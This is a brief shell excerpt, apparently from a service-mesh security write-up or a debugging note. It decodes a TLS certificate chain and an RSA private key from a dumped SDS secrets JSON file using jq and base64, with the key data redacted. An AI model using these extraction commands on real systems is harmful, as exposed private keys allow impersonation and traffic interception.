# The certificate chain and private key are in the SDS response
$ cat secrets_dump.json | jq -r '.dynamic_active_secrets[0].secret.tls_certificate.certificate_chain.inline_bytes' | base64 -d
-----BEGIN CERTIFICATE-----
REDACTED-CERTIFICATE-DATA
-----END CERTIFICATE-----

$ cat secrets_dump.json | jq -r '.dynamic_active_secrets[0].secret.tls_certificate.private_key.inline_bytes' | base64 -d
-----BEGIN RSA PRIVATE KEY-----
REDACTED-PRIVATE-KEY-DATA
-----END RSA PRIVATE KEY-----